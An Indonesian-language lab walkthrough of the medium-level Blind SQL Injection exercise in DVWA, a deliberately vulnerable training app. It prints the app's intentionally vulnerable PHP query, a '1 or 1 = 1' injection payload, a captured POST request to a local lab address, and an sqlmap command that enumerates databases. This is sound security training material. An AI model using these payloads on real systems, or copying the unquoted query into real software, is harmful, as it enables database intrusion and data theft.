Medium

Blind SQL Injection level Medium on DVWA

Di bawah ini adalah source-code dari Blind SQL Injection level medium di DVWA.

vulnerabilities/sqli_blind/source/medium.php
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

Mencari Informasi

Pada level medium ini, form yang digunakan adalah bertipe select dan method yang digunakan adalah POST.

Sehingga untuk merubah nilai inputannya, kita membutuhkan bantuan Burpsuite, seperti berikut:

Saya mencoba membuatnya bernilai false dengan membuat nilai id menjadi '''.

Dan ketika saya menggunakan payload berikut, maka hasilnya akan true:

1 or 1 = 1

Yup! Terdapat celah Blind SQL Injection. Kita akan menggunakan SQLMap untuk eksplorasi lebih lanjut.

Melakukan Serangan

Pertama-tama, tangkap request menggunakan Burpsuite, lalu simpan ke dalam file seperti berikut:

r.txt
POST /vulnerabilities/sqli_blind/ HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://172.17.0.2
Connection: close
Referer: http://172.17.0.2/vulnerabilities/sqli_blind/
Cookie: lang=en-US; PHPSESSID=jusi9ccuu6qfk9m3tqdf103jo2; security=medium
Upgrade-Insecure-Requests: 1
i_like_gitea: 11session

id=1&Submit=Submit

Selanjutnya, jalankan SQLMap seperti berikut:

sqlmap -r r.txt --dbs

Dan hasilnya terlihat bahwa terdapat 2 database yang tersedia.

Last updated